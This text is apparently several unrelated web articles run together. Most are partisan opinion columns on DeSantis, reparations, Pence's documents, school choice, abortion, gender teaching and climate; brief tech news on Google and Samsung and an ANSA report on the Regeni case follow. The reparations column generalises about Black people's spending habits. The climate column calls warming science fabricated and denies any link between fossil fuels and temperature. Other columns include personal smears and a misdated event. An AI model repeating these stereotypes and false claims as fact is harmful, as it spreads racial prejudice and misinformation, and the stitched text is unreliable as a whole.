[U]nder the Florida Constitution, a governor cannot properly suspend a state attorney just for implementing a reform-prosecutor agenda or based on general dissatisfaction with the state attorneys performancefor being a reform prosecutor rather than a law-and-order prosecutor. It is not surprising that in this litigation, the Governor has not acknowledged that this was a factor in the suspension. But it plainly was. The Governor was looking for a reform prosecutor from the outset. A reform prosecutor is what Mr. Keefe found. If the charge against Mr. Warren was that he actually carried out the reform-prosecutor agenda he campaigned on, he would probably confess.

Image: Ron DeSantis. YouTube screen grab.

Its important to understand why prosecutorial discretion in the hands of leftists gravely threatens our federal and state constitutions, with the latter tracking on the former in relevant part. Those constitutions divide government into three branches, spelling out each branchs powers, duties, and limits.

The U.S. Constitution Article I, section 1 provides that the legislative powers to propose, pass, modify or rescind any law reside solely with Congress. Article II, section 1 states that the power to enforce those laws resides solely with the Executive branch. In Article II, section 3, the Constitution imposes upon the Executive the solemn duty to exercise that power (i.e., to take Care that the Laws be faithfully executed).

Thus, the Constitution holds that citizens fundamental rights encompass a legislature solely responsible for passing laws and an executive branch that will enforce those laws. Further, Article IV, section 4 mandates that all states must have a similar organization. The State of Florida is no different.

Notably, Article V provides the only two means to amend Articles I or II (or any other provision in the Constitution). One method is a constitutional convention, something we have never done. The second method is ratification by a super-majority in Congress, followed by ratification by three-fourths of the states, something We the People have done to approve 27 Amendments, with the last occurring in 1992.

Those who wish to change the Constitutions powers, duties, and responsibilities must do so via Article V. No one may do it by fiat, as the Soros prosecutors are nonetheless doing today. This is so important that George Washington, in his 1797 Farewell Address to the nation, said,

If in the opinion of the People, the distribution or modification of the powers be in any particular wrong, let it be corrected by an amendment in the way which the Constitution designates. But let there be no change by usurpation; for though this, in one instance, may be the instrument of good, it is the customary weapon by which free governments are destroyed.

When a prosecutor (who works for the Executive branch of government) refuses to enforce a law on ideological groundsan act that defines every prosecutor who has entered office with George Soross supporthe is effectively nullifying those laws with which he disagrees. His broad-brush refusal works a fundamental and wholly unconstitutional change to his state, locality, or the whole nation (such as an HHS Director opting not to enforce our immigration laws).

In effect, the prosecutor is exercising the legislative power solely given to Congress or, in Warrens case, Floridas legislature. That should not merely be grounds for impeachment or firing; it should be prosecutable as a violation of the civil rights of all American citizens.

Gov. DeSantis was completely justified when he fired Warren for assuming the power to nullify Floridas laws. No executive official in this nation, at any level of government, should be able to nullify duly passed laws.

Moreover, Hinkles opinion evinces a level of bias and gaslighting one should never see coming from a federal judge. In a sane world, Hinkle should be impeached on the ground that he has failed to uphold and defend the Constitution.

Wolf Howling is a pseudonym. You can see more of his writing at Bookworm Room.
The idea of reparations for African Americans due to slavery began during the Civil War when General William Tecumseh Sherman, on January 16, 1865, issued Special Field Order No. 15 that called for allocating up to 40 acres and lending mules to newly emancipated slaves. President Lincolns successor, Andrew Johnson, ignored the order but the idea has nevertheless lived on. Not much happened on reparations until 1988 when Representative John Conyers introduced HR 40, a bill to establish a national commission to study reparations, but this bill died in committee.

In 2019, however, with the murder of George Floyd and COVID-19 impact on communities of color, the dam has burst. The House of Representatives has again taken up the idea of a national commission and countless cities such as Boston, Chicago, San Francisco plus the state of California have created official reparations commissions. Evanston, Ill has awarded $25,000 each to 15 Black resident to make amends for past housing discrimination. The Jesuit Conference of Canada and the United States in 2021 pledged $100 million in reparations for descendants of those enslaved by the order.

A major justification for reparations is to equalize the racial wealth divide. As the Brookings Institution, hardly a radical thinktank, put it, Central to the idea of the American Dream lies an assumption that we all have an equal opportunity to generate the kind of wealth that brings meaning to the words life, liberty and the pursuit of happiness.

Will awarding large sums of money to Black people equalize the racial wealth gap? The answer is no, and the political damage of this effort will far outweigh its immense monetary cost.

This wealth gap is massive and enduring. According to recent Federal Reserve data, the average White family has eight times the wealth of the average Black family with the average Black familys wealth being 15% of what the average White family possesses. Nineteen percent of Black families have zero or negative net wealth. The gap extends far beyond income differences though this is significant. Differences exist in inheritances, multiple savings and investment plans, plus how Whites gravitate toward investments that appreciate over time, especially home ownership and education.

Can reparations close or at least narrow this gulf? Much, naturally, depends on the size of this wealth transfer, and payment details while per person award figures have ranged from a about a quarter million to, in San Francisco, five million. Nevertheless, regardless of the final sum, given what we know about how people manage money, there is little cause for optimism.

Spending among Blacks will, for political reasons, likely be discretionary versus restricted to good things. Recipients also cannot be forced to heed advice from financial experts. Given this discretion, there can be no rule that money only goes towards diminishing gaps in assets. Conceivably, at least some Blacks will prefer spending reparations on short-term items that rapidly depreciate. This likelihood is hardly hypothetical. One study shows a distinct proclivity among affluent Blacks for spending to achieve style and social standing, notably designer luxury brands. Data also show that Blacks are less likely than Whites to save money -- half of all Blacks have no retirement accounts.

Meanwhile, studies of all-too-common bankruptcies among super-rich professional athletes (many of whom are African American) revealed a weakness for conspicuously showing off, for example, gifting exotic cars to families and friends, over-the-top personalized jewelry, and hosting big-time nightclub extravagances. Even a half-million-dollar windfall can vanish in a year or two, as these bankruptcies illustrate.

Similar evidence of misspending comes from those winning mega lotteries. A website even catalogues the worst disasters. Accounts often tell of winners being overgenerous to charities, extravagant vacations, ill-advised business ventures and otherwise acting foolishly. Particularly troublesome was the difficulty of saying no to friends and family. Eventually, everything ended thanks to going broke. Indeed, the tribulations of the new super-rich are sufficiently common that psychologists even have a name for it -- the sudden wealth syndrome.

It hardly helps that these recipients will often have limited experience managing large sums versus just paying monthly bills. Building a diversified stock portfolio and then patiently waiting years for it to double will not be easy. It might be too tempting to wait decades to pass wealth to progeny. The financially unsophisticated may also struggle with the ultimate safe investment for building wealth -- buying a house. Will those receiving a $250,000 check and then spending half on a down payment for a half million-dollar house be able to calculate the yearly maintenance expenses, property taxes, and insurance? When the federal government encouraged banks to offer mortgages to previously unqualified minorities, foreclosures skyrocketed, and this may occur again. Nor can there be any guarantee of increased value. Markets fluctuate and value can decline if nearby schools deteriorate, crime rises, and potential buyers find the house in ill repair. Home ownership hardly guarantees increased wealth.

There is also the possibility of a renewed effort by swindlers to target the newly rich. Even without all the money that would flow from reparations, many Blacks, especially those with limited education, are often victimized by the lure of easy money. According to one study, 41% of African Americans say they were targeted by scammers, and this figure would undoubtedly soar after billions were distributed via reparations. Tellingly, many of these fraud artists were fellow African Americans, often claiming a common religious affiliation and played on current issues of particular relevance to Blacks, notably support for the Black Lives Matter movement.

The quest for reparations is a risky fools errand. The awaiting legal problems that derive from laws banning racial discrimination cannot be swept aside by appeals to historic White guilt. Nor are the administrative details, for example, who exactly qualifies and standards of proof of slave ancestry, similarly easily resolved. Moreover, reparations paid over decades can create dependency across multiple generations, a sure-fire recipe for yet more racial strife. Most of all, the public soundly rejects the entire idea of reparations and these sentiments are unlikely to soften, regardless of how many commissions are created. This public antipathy is also likely to increase as these commission devise ever and ever larger payment due bills for slavery -- $14 trillion in one case -- when hardly any Americans alive today have ancestors who owned slaves.

The reparations crusade can become an electoral disaster for the Democratic Party. Its candidates may be pressured to take stands on the issue, and the choice will be a difficult one. That Blacks comprise a significant voting bloc in several primary states might make it tempting to favor this massive wealth transfer even though the chance of it coming into being is nil (President Biden has already expressed his support). But this pandering may well alienate millions of opponents, many of whom believe that Whites have done more than enough to help Blacks. For them, the trillions spent on public welfare, the war on poverty, and education plus affirmative action are, in fact, reparations and since their impact is uncertain, why spend trillions more?

Yes, many Blacks will find pushing for reparations psychologically satisfying and there is always the hope of a massive windfall, but the pushback from opponents may well be costly. It is hard to imagine Democratic candidates winning majorities by embracing an unpopular policy with scant likelihood of achieving its goal while costing hundreds of billions if not trillions. There are better ways to overcome the tribulations of African Americans.

Image: Public Domain
Mike Pence struck me as an exemplary vice president during the Trump administration, the quiet ballast to Trumps sometimes erratic and explosive energy. (Ive been less than enthused about him since the 2020 election.) The one thing that really made him stand out, though, was that he was no Joe Biden: smart where Biden was a moron, a model of rectitude where Biden was a minor-attracted, corrupt man. And yet, it turns out that Pence and Biden have something in common: They both took home documents marked classified.

Fox News reported on the breaking story:

Vice President Mike Pence informed Congress Tuesday that he discovered documents bearing classified markings in his Carmel, Indiana, home on Jan. 16 from his time as vice president. Following the revelations that classified documents from President Biden's tenure as vice president were found at the Penn Biden Center think tank and Wilmington, Delaware, the vice president's team conducted searches of Pence's Indiana home and political advocacy group, Advancing American Freedom, office. According to his team, Pence informed the National Archives on Jan. 18 of a small number of potential classified documents found in two small boxes. Another two boxes contained copies of vice presidential papers. The National Archives then informed the FBI per standard procedure.

Image: Mike Pence. YouTube screen grab.

I have a few thoughts on the matter, in no particular order.

1. Its unlikely that Pence has given or sold any information, including information in classified documents, to foreign nations. Certainly, its possible but, as I said, its unlikely. Hes never shown an orientation toward foreign nations, unlike Biden, who put himself forward as a foreign policy maven.

2. Pence, like Biden, and unlike Trump, has no right to possess classified documents that have not been officially declassified. (By the way, the declassification procedure serves as proof that a person has the right to possess the documents.) By contrast, if the president behaves as if the documents are declassified, then theyre declassified. No other proof is required.

3. If the DOJ wants to indict Pence, then it must indict Biden, too, given that the two men are similarly situated. Pences admission increases the likelihood that both men get a pass that would not be offered to other, less highly placed people illegally possessing classified documents.

4. The reality is that there are people in D.C. who come into possession of classified material without the necessity of viewing that information in sensitive compartmented information facilities (scif). Indeed, its reasonable to believe that the offices of highly placed government officials and politicians are treated as scifs. Without the formality of a scif (a room from which documents leave only when stuffed into pants and socks), one can imagine that those viewing the documents approach them a little carelessly, with the carelessness increasing as one climbs the ladder of power.

That is, the clerk at the Pentagon will be paranoid because she knows shell be sent to jail forever, whereas the vice president or senator really doesnt worry about an eternity in Club Fedand without that fear, these same people might be cavalier about handling classified documents. The real problem with Joes squirreling away classified documents (something hes done for at least a decade) is the fact that the Biden family has long profited off of Joes connections with foreign governments, something the Hunter laptop repeatedly exposes. Now that we know Joe had classified documents in his possession, that creates a reasonable concern that Joes quid pro quo wasnt just access, but also information.
Is the world progressing, as the Progressives claim, or is it in fact regressing?

More and more evidence suggests the latter. In fact, in certain respects, the West is increasingly becoming like the quintessential Third World  namely, the Islamic world.

One can cite several examples  the West's eagerness to ban any Christian symbol, lest it offend, or its ban on free speech, lest that too offend (or "blasphemes" against Muslim sensibilities)  but an unexpected one recently surfaced.

On an episode of Tucker Carlson Tonight, the host offered the following account (note, especially, the italicized portions):

Josh Denny is a comedian. You may have heard of him. He used to work for the Food Network. He's also pro-life, personally, and willing to say so out loud. Earlier this month, Denny was preparing to host a comedy show in Rutherford, New Jersey. That's about a half hour outside of New York, but just minutes after the show was announced, Antifa, a violent, radical group, decided to shut it down. Hundreds of Antifa-affiliated Twitter accounts started bombarding the venue called the Williams Center. They also went after the chief of police of Rutherford, a man called John Russo, and they threatened violence. Now, at that point, a chief of police who wanted to defend the Constitution, his solemn duty, would have pushed back and affirmed the sacred right of free expression of every American, but that's not what Chief Russo did. Instead, he caved to the demands of the mob. He warned the venue that the venue might face civil liability if they let free speech continue, if they allowed the show to go on. Then he said he would shut down the show on "public safety grounds." So ultimately, the Williams Center had no choice and canceled the show. In the end, the only people who showed up at the Williams Center that night were several police officers, and they were there to make sure there was no comedy taking place, none at all. Then, to add insult to injury, the next morning, the mayor of Rutherford, New Jersey, Frank Nunziato, bragged about what the city had done. He said it was his decision to use the power of the state to cut down comedy. "Unbeknownst to the borough," Nunziato wrote, "an event was planned for this evening at the Williams Center, news of which quickly circulated through social media. Online intelligence led the police department to believe that the event had the potential for confrontation. Therefore," Nunziato said, "after discussions with the owner, the event has been canceled." Now notice the blame shifting here, "the potential for confrontation." It wasn't the comedian who was going to confront or threaten anyone with violence. It was the radical left-wing group Antifa. But it was the comedian who was punished.

This entire scenario is a virtual duplicate of what regularly happens to religious minorities throughout the Muslim world. In the preceding few years, I have come across numerous stories of Muslim authorities shutting down Christian churches on the claim that they are "security threats." Like the American comedian, these churches posed no threat; rather, those who dislike them, "radical Muslims"  like those who dislike the American comedian, "radical Antifa"  were the ones who posed the threats, and engaged in actual violence.

Only recently in Egypt, Muslims attacked a church and its Christians, after authorities had given them permission to fix their church's collapsed roof, which had fallen on and hurt several worshipers. (According to strict sharia, churches must never be repaired, but left to crumble over time.) On the following day, the Muslim governor rescinded the church's permit to fix its crumbling roof. This church is now one of more than 50 churches in Egypt to be closed on the claim that they pose security threats  that is, because Muslims riot at their existence.

In short, whenever Christians throughout the Muslim world attempt to repair, renovate, or build a church  all of which contradict the draconian, anti-Christian dictates of Islamic law  the same events follow: local Muslims riot and rampage, and local (Muslim) officials conclude that the only way to prevent "angry youth" from acts of violence is to ban the church  which is then seen and treated as a "threat" to security.

And now this same "logic" has made it to America.

Image: Pezibear via Pixabay, Pixabay License.
Last night, the Iowa Legislature took a giant step toward school choice for state's children, passing a bill that Republican governor Kim Reynolds has long sought. The national media such as the New York Times so far are ignoring it, but The Des Moines Register reports:

The bill, House File 68, would phase in over three years and eventually allow all Iowa families to use up to $7,598 a year in an "education savings account" for private school tuition. If any money is left over after tuition and fees, families could use the funds for specific educational expenses, including textbooks, tutoring, standardized testing fees, online education programs and vocational and life skills training.

That sum is equal to the money the state provides per pupil to government schools. Of course, local governments add funding of their own, so full equality in funding for private and government school is not yet at hand. But in theory, there is nothing, save the political power of teachers' unions and government school bureaucrats, preventing localities from adopting similar measures and ushering in an era of true market-based competition between private and government schools, allowing parents to choose the schools they believe best serve their children. If resources can be provided for successful campaigns to provide local funding on this basis, the nation would have its first demonstration project of true school choice.



Iowa State Capitol (photo credit: Tony Fischer, CC BY 2.0 license).

Naturally, the same old tired arguments are being dragged out against the measure:

"Spending public money with no accountability is reckless. Our public schools and students deserve better," said Sen. Molly Donahue, D-Cedar Rapids.

Senator Donahue somehow does not regard the ability of parents to pull their children out of a private school they find unsatisfactory as a form of accountability. But that is far more accountability than government schools face.

Opponents argued that using state money to pay for students to attend private schools will perpetuate inequity in Iowa's education system since private schools can choose which students to accept and aren't held to the same standard of transparency as public schools.

The current government schools that fail minority children dismayingly often are hardly diminishing inequality. Private schools that have the freedom to innovate can meet the needs of at-risk children, and allowing parents the freedom to pick a school suited to the particular needs of their children is a better recipe for success than the one-size-fits-all approach of heavily bureaucratized government schools.

Governor Reynolds is guaranteed to sign the bill, and Iowa will soon lead the nation in educational reform. Expect the media to either ignore or criticize the measure.
According to some news reports, former speaker Nancy Pelosi had a priest visit her San Francisco home.

This is the story:

Nancy Pelosi tried to excommunicate [sic] evil spirits from her San Francisco [mansion] after the vicious attack on her husband in October.

OK. We sympathize with her, and I'm sure that the attack on her husband must have been shocking.

My suggestion is that Mr. and Mrs. Pelosi send that priest over to Vice President Kamala Harris's home for a little exorcism of evil spirits, too.

This is what V.P. Harris said in a "Roe anniversary" speech, throwing in a "how dare they" to go with it. It was sick:

Kamala: "Republicans in Congress are now calling for a nationwide abortion ban ... How dare they! How dare they!" pic.twitter.com/L2vjjK9sFe  The Post Millennial (@TPostMillennial) January 22, 2023

Bonchie at RedState had some choice commentary about this, noting:

How morally depraved does someone have to be to stand up behind the bully pulpit afforded to the vice president and shout "how dare they" about people who don't want to kill babies in the womb? How dare they? Really? Is Harris confused about what happens during an abortion? Because I can enlighten her if it'd help matters. Of all the topics in politics, it's the abortion debate that gets me the most, and not just because the stakes are so high. In a world that's been turned upside down, there is no more of a perversion of basic logic than the idea that it's a moral failing to be anti-abortion. Harris would never describe it in such detail because the pro-abortion movement lives on euphemisms, but when she stands up there and shouts "how dare they," she's asking how anyone could possibly be opposed to a procedure that kills a child by scrambling them and sucking their body parts out of the womb with a vacuum. Even if one is pro-abortion, that shouldn't be hard to understand. The basis of the pro-life movement is the protection of unborn life. Harris may not care what happens to unwanted children, but many people do. That's what motivates them, not this ridiculous idea that they want to "control" other people. And no, they aren't required to support a socialistic utopia in order to be able to think taking the life of a child is wrong. For all the arguments we have over politicians and their failings, they all seem quaint in comparison to the abortion debate. These days, you can hardly find a mainstream Democrat who doesn't support abortion until birth. Heck, you can't even get the Democratic Party to guarantee medical treatment to babies who survive botched abortions. That's how far we've regressed as a nation.

Yes, I don't get this abortion obsession, either. Some might be willing to compromise and have a window for rape and incest. I'd prefer to see the baby born, but I can understand the anguish of carrying a baby under those circumstances. However, that's not what the vice president is saying. She is treating abortion as an unconditional "right," and the "life inside" (as my late mother used to call it) as just an unfortunate inconvenience.

So load up a bus with some priests, and drop them off at the V.P.'s home. Let's have a little exorcising, and let's drive away those evil spirits. Maybe the V.P. can call the former speaker for suggestions.

PS: Check out my blog for posts, podcasts and videos.

Image: Twitter screen shot.
As Iowa makes big progress toward school choice, Governor Ron DeSantis has unveiled a far-reaching program to free up government school teachers to be effective in the classroom, pay them better, and weaken the ability of unions to compel teachers to join and extract dues, most of which are funneled toward political donations to Democrats. Calling the plan the "Teachers' Bill of Rights" shows how smartly he is pursuing support from the teachers.

Very shrewdly, DeSantis short circuits the ability of the unions to scream that he is attacking teachers by visibly and tangibly helping individual teachers in their work and financially. WWSB TV reports:

DeSantis announced his legislative proposal, the Teachers Bill of Rights, that the governor states would empower educators to be leaders in their classrooms, enact paycheck protection, reduce terms for school board members from twelve to eight years, and invest another $1 billion in teacher pay.

DeSantis stated that the bill would create stand your ground protections for teachers who enforce classroom discipline. Details will follow, but this sounds like protection from discipline, legal consequences and lawsuits.

The legislation would prohibit unions from collecting dues directly from teacher paychecks, prohibit distribution of union materials at the workplace. Employees would have to submit a form acknowledging that Florida is a right to work state and union participation is optional. Unions would also have to represent 60% of the staff instead of the current 50%.

The $1 billion boost in teacher pay follows a previous $2 billion provided since 2020, the largest pay increase for teachers in Florida history. DeSantis is attracting support from teachers while diminishing the ability of hard left unions to force them into paying dues, while diminishing their appeal thanks to the pay raises he is offering, effectively increasing their take-home pay.

It is a great sign that two states are moving strongly to make education a GOP issue, as was done in Virginia to great success. Given the exorbitant costs and sorry performance of American government schools, this is a major opportunity.

Photo credit: YouTube screengrab
One of the unexpected blessings of the otherwise damaging lockdowns was that parents finally got the chance to see what was happening inside their childrens classroomsand they often discovered that teachers were more interested in indoctrinating students than in teaching them. Many parents were surprised to learn that the teachers were telling students that they could be any sex they wanted. Because parents genuinely love their children, rather than seeing them as cannon fodder for the cultural revolution, they pushed back. The good news, if a Tennessee teachers video is anything to go by, is that the pushback is working.

Sometimes it seems exhausting to fight back against wokeness, especially in K-12 education. While we may once have laughed at collegiate woke lunacy, it became something different entirely when the lunatics graduated from college with teaching degrees and descended on Americas classrooms, bringing with them two pernicious ideas: Critical Race Theory (which has anti-Americanism as a subset) and gender theory.

Image: The teacher who quits. Twitter screen grab.

While parents have disliked seeing their kids taught either that theyre genetically predetermined irredeemable racists or perpetual victims, whats really gotten their goat is that, beginning in kindergarten, teachers instruct their students that there is no such thing as biological sex. Parentswho relied upon the fundamental sperm plus egg: underpinning of biological sex to have their childrenrecognized this for the dangerous nonsense it is. Watching their kids literally turn crazy before their eyes, only to have the medical establishment push those kids towards revenue-pumping hormones and surgery, galvanized parents.

As a reminder of what parents were seeing happen to their children, here are recent examples of what happens at schools when parents have not yet gained control over the spaces they fund and in which their children spend time:

A parent from @SASDschools found the pornographic book Gender Queer in a school library. The book contains graphic depictions of sex and various sexual scenes.



These are the books theyre offering your kids in school. pic.twitter.com/JFcUOQsUKh  Libs of TikTok (@libsoftiktok) January 23, 2023

Received this from a teacher in Ohio. The book "Queer" is available to students in his school library. It teaches kids all about gay sex in graphic detail.



These are the books they're giving your kids in school. pic.twitter.com/bCindlkyS9  Libs of TikTok (@libsoftiktok) January 23, 2023

First grade teacher boasts about celebrating pride in her classroom with a progress pride flag and offering books to kids about gender identity including a book about toddler who becomes transgender. pic.twitter.com/q6appDgJ2h  Libs of TikTok (@libsoftiktok) January 22, 2023

Once galvanized, parents began to put pressure on school boards and state houses. While leftist states such as California, Oregon, Washington, and Colorado mandate LGBTQ-inclusive sex ed, red states, the ones in which people still believe in genetic science, have pushed back against sex education thats anything but based on pure biology. Those states include Florida, Louisiana, North Carolina, Texas, and (to my surprise) Illinois. Floridas bill (keeping LGBTQ gender fantasies out of K-3 classrooms) got the most attention, inspiring other states such as Georgia, Kansas, Tennessee, and Oklahoma.

It should be noted that these bills do not advocate criminalizing homosexuality or prohibiting anyone, including adults, from claiming that they have magically become something other than their biological gender. Instead, they just prevent the classrooms from becoming forums for gender advocacy.

Because this post is about a Tennessee teacher, lets focus on the Tennessee bill. It requires that schools notify parents if the subject of sex ed (including sexual orientation or gender identity curriculum) is on the curriculum, giving them the right to opt the child out of that instruction. The activists, of course, went insane when they learned that they no longer had access to Tennessee classrooms.

Having lost the ability to indoctrinate her students about LGBTQ+ principles, at least one Tennessee teacher has just given up. It turns out that being able to teach students about everything other than LGBTQ+ subjects isnt enough for her. Being barred from that single subject has her leaving the teaching professiona pretty clear admission that she saw her job not as teaching children but as indoctrinating them:

Tennessee teacher says shes quitting because people who dont want LGBTQ+ propaganda in classrooms are taking over education pic.twitter.com/8pLKCNWAj3  Libs of TikTok (@libsoftiktok) January 24, 2023

So, parents, do not give up. If you make it impossible for the activists to bring ugly, unscientific concepts into the classroom, at least some of them will go away.
For more than a decade, we have been warned that we would have snowless winters. Why havent those warnings come true? I bet people in California, Utah, and Buffalo are tired of shoveling that global warming. The answer is the warnings were always made up to indoctrinate and scare us. They were never based on scientific data.

They are as made up as the warnings of an ice age in the 1970s and all the warnings from the UN that we only have ten years left to solve the problem.

The purpose of the made-up predictions is to scare us into transferring money, power, and freedom to the government and having the government hand out money to people pushing the lies.

It is all about greed: Al Gore and other green pushers have achieved great wealth off their fear mongering. Gore's dire predictions have been 100% wrong. Why is he still raking in money when he lies so much?

Here is a small sample of the dire warnings of snowless winters.

In 2000, a warming scientist from East Anglia, Dr. David Viner, went way out on a limb and said there would soon be no more snow in England. From the Independent report of March 20, 2000: Ten years later, the opposite has proven true. England and Western Europe have had three very cold winters in a row, and the UK is now experiencing its coldest December since records were kept.

WARMISTS PREDICTED NO SNOW. INSTEAD, RECORD FALLS For 20 years, global warming alarmists warned snow would vanish: "Children just arent going to know what snow is." Here's what children now see in North Eastern US: "The last decade... has had 29 major impact northeast winter storms with NO previous 10-year period with more than 10 storms!" Meanwhile, ski resorts in the Alps open a month early.

In December 2021, The Washington Post tried to scare everyone that snow may vanish in the West. Why does anyone pay attention to the Post as their dire warnings have been wrong for 100 years. They are essentially a lobbyist for radical, leftist policies to remake, destroy America.

Meanwhile, here is some actual scientific data, not predictions. 30 feet of snow? That much has fallen in some places in California as snow blankets huge swaths of state. Around Lake Tahoe, some measuring sites have recorded 300 or even 400% of the median amount, compared to data going back to 1991. In the Rocky Mountains of Colorado and Utah, snow fall is up to 200% above average along the Continental Divide in Colorado.

In Park City, Utah, they have had 299 inches so far this winter season

Here is the brilliant Vice President speaking about water issues in California.

Were gonna have days  and sometimes there will be days  with immense water of rains and storms and flooding, and at the same time we are a state that has experienced for generations, droughts. And we must therefore understand that the issue that are present in the climate crisis are varied  and it requires us to be present and to be in front of each of the iterations and variations that include extreme weather that produces a lot of water and extreme weather that produces drought.

Harris should be called a climate change denier because she said exactly what those falsely accused of being deniers say. The climate varies. Sometimes it rains and sometimes it doesnt. The climate is and has always been cyclical.

Wouldnt it be fun to ask Harris, Biden, Gore, Kerry, Gates, and other green pushers to show the link between oil and coal consumption and temperatures. They would be confused because there is none. Of course, the compliant and complicit media will never ask the questions because they dont care.

The lies (false dire predictions) used to destroy companies that produce reasonably priced and reliable energy are endless. Those lies are much more destructive than any of the multiple lies Congressman Santos has told. Santos should be kicked out and never trusted but his lies arent intentionally destroying the economy.

Why aren't other members of Congress held to account for the massive harm they are doing to the poor, middle class, and small businesses with high prices and seeking to force them to buy high priced vehicles based on a theory instead of actual science?

Why is Nancy Pelosi trusted to make energy policy when in 2008 she didnt seem to know that natural gas came out of the ground and is an oil product.

Nancy Pelosi Still Doesnt Know Where Natural Gas Comes From Im, Im, Im investing in something I believe in. I believe in natural gas as a clean, cheap alternative to fossil fuels.  These investments in wind, in solar and biofuels and focus on natural gas, these are the real alternatives.

Hopefully the Republicans can stop this fraud before it is too late to stop the collapse of America.

Russia, China, and Iran would love for the U.S to collapse from within but if we dont, they will gladly attack us with their gasoline-powered military equipment which they will never give up.
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When it comes to online advertising, Google is the top choice for most brands, and the company makes tons of money from advertising. Currently, almost 80% of Googles revenue comes from online ads. Googles dominance in the market has reportedly instigated the U.S. Justice Department (DOJ) to sue the company over violating antitrust laws.

According to Bloomberg, citing people familiar with the matter, the DOJ might file a lawsuit against Google as soon as Tuesday. This is the second major antitrust lawsuit against Google in less than two years. The previous one was filed in 2020 by the DOJ over the companys dominance in the online search market. The case will go to trial this September, and Google might have to pay a hefty fine.

The DOJ wants to keep Google in check over its dominance in search and digital advertising

Much of Googles dominance in digital advertising was due to its purchases in 2008 and 2009 when it acquired DoubleClick and AdMob. Googles share of the US digital ad market has declined from 36.7% in 2016 to 28.8% last year. However, the Mountain-view-based company is still the leader of the online advertising market by a wide margin.

In addition to showing regular ads on search pages and online platforms like YouTube, Google also earns a lot of money from advertising mediation, meaning connecting advertisers with websites that are open to host ads.

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The privacy and antitrust lawsuits against Google are coming in days when it is reportedly preparing for a dire economic situation in years ahead. The company has recently axed 12,000 jobs. Googles parent company Alphabet is also facing a class-action lawsuit in the UK that might cost around $16.3 billion.

Additionally, Google has faced an emerging but ambitious competitor called ChatGPT that aims to vanish Googles search business. While Googles AI department is building a rival for ChatGPT, Microsoft seized the opportunity to invest $10 billion in ChatGPT maker OpenAI.
Apart from the Galaxy branding, Samsungs 2023 smartphones may have one more thing in common. Regardless of the price point or series, every Galaxy smartphone will seemingly feature the same rear camera design. The company recently launched the entry-level Galaxy A14 5G with a camera layout that youre also getting on the upcoming Galaxy S23 series flagships. Leaked renders have shown the same design for the Galaxy A54 5G and Galaxy A34 5G as well. Turns out the Galaxy M54 5G will copy that rear look as well.

The Galaxy M54 5G recently appeared in its first set of leaked renders, including a 360-degree video. The images show a triple camera setup on the back of the phone, one less than the Galaxy M53 5G. That isnt surprising since we already know that Samsung is removing the depth sensor from its phones. But the new model is getting a massive design shift. Instead of a squircle camera island, the three sensors now protrude out of the back panel individually. Theres no separate housing for cameras this time around. The LED flash unit sits next to the vertically aligned cameras.

Samsung is seemingly trying to create a brand identity with a consistent design philosophy across its smartphone portfolio this year. However, that doesnt mean the Galaxy M54 5G will be indistinguishable from the Galaxy S23 when looking from the back. The mid-range device appears to have a curved rear panel and frame. The new flagships get flatter back and frame. But the camera layout is still enough to tell that its a Galaxy smartphone. Thats likely what Samsung wants to achieve: make its phones easily identifiable among the crowd.

Galaxy M54 5G rumored specs

Leaks about the Galaxy M54 5G have been pretty scarce so far. Not much is known about the devices specs. A benchmark listing a couple of months back revealed that the handset will feature Samsungs in-house Exynos 1380 processor paired with 8GB of RAM. The company may also sell the device in a 6GB RAM variant. It should ship with Android 13-based One UI 5.0 out of the box. The leaked renders show a side-mounted fingerprint scanner as well. The handset appeared in dark blue and silver colors, with the latter getting a gradient finish.

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The Galaxy M54 5G has already received regulatory approval from Indias BIS (Bureau of Indian Standards). The device showed up on the BIS website with the model number SM-A546E/DS, confirming dual-SIM support in the country. We expect to hear more about the phone in the coming weeks as Samsung prepares for its launch. The new mid-range phone may go official sometime in March or April this year, if not earlier.
(ANSA) - ROME, JAN 24 - Italy is unwavering in its bid to find the four Egyptian intelligence officers who allegedly tortured Italian student Giulio Regeni to death, Foreign Minister Antonio Tajani told ANSA Tuesday after he was accused of raising false hopes by saying Egyptian President Abdel Fattah el-Sisi was now more willing to cooperate on the February 2016 murder of the Friuli-born Cambridge University doctoral researcher after talks in Cairo on Sunday.

On the Regeni case, Tajani told ANSA on the sidelines of the Balkans Conference in Trieste, there is and will be "no hesitation" on the part of Italian authorities.

"We continue to work to reach the truth, so that the perpetrators of the murder are convicted.

"We will continue to insist with Egypt so that full light can be shed and the perpetrators can be prosecuted.

"But we need to talk with Egypt on other issues because we have a duty to ensure the stability of North Africa and Libya," he stressed.

Optimism that Egypt may start helping Italy to find Regeni's murderers does not mean that everything in bilateral relations is OK, Tajani said Monday after being accused of spurring false hopes by saying his talks with Sisi had been positive on the student tortured to death in Cairo in January-February 2016.

Tajani said after meeting Sisi in the Egyptian capital Sunday that he had been "reassured on the case of Regeni, for whose murder Rome prosecutors are seeking four Egyptian intelligence officers.

Regeni's parents dismissed this optimism in an interview with Rome daily la Repubblica Monday saying that Cairo's collaboration in notifying the officers of their indictment, and thus allowing a trial in absentia to proceed, had been and continued to be "non-existent".

The four officers are National Security General Tariq Sabir and his subordinates, Colonels Athar Kamel Mohamed Ibrahim and Uhsam Helmi, and Major Magdi Ibrahim Abdelal Sharif.

The Italian justice ministry said last month that it has had no response from Egypt over its calls for cooperation in the case of the four Egyptian intelligence officers suspected of Regeni's abduction, torture and murder.

The trial against the four has been suspended after a Rome court ruled that it could not go ahead because the defendants had not been notified of its existence.

Italy has been trying to notify the four officers of their indictments in order to proceed with their trial in absentia but the efforts ran into a brick wall last year after Cairo refused to help locate them.

Regeni, 28, was tortured to death while in Egypt to work on research into Cairo street hawkers' unions.

His mother only recognised his body by the tip of his nose.

A fresh hearing in the case has been set for February 13 in Rome.

Tajani said Monday that Sisi had shown a new willingness to collaborate on the case.

In Egypt "we raised the issue of Regeni because we need to know and to hit those who murdered this boy. I put the problem to the President of the Egyptian Republic and to the Foreign Minister, and the President was the first to raise the issue by saying that he will do everything to remove the obstacles that have made relations between Italy and his country difficult. I want to be optimistic, but that does not mean that everything is OK.

We will continue to monitor but it seems to me that I have seen a new and different willingness compared to the past", Tajani said on Radio 24.

Italian officials including Premier Giorgia Meloni have previously got assurances from Sisi that Cairo would help locate the four, but no moves in that direction have been made.

Meanwhile Regeni's parents and many politicians, especially on the left, have protested a new gas deal with Egypt to help Italy cut its reliance on Russian gas amid the Ukraine war.

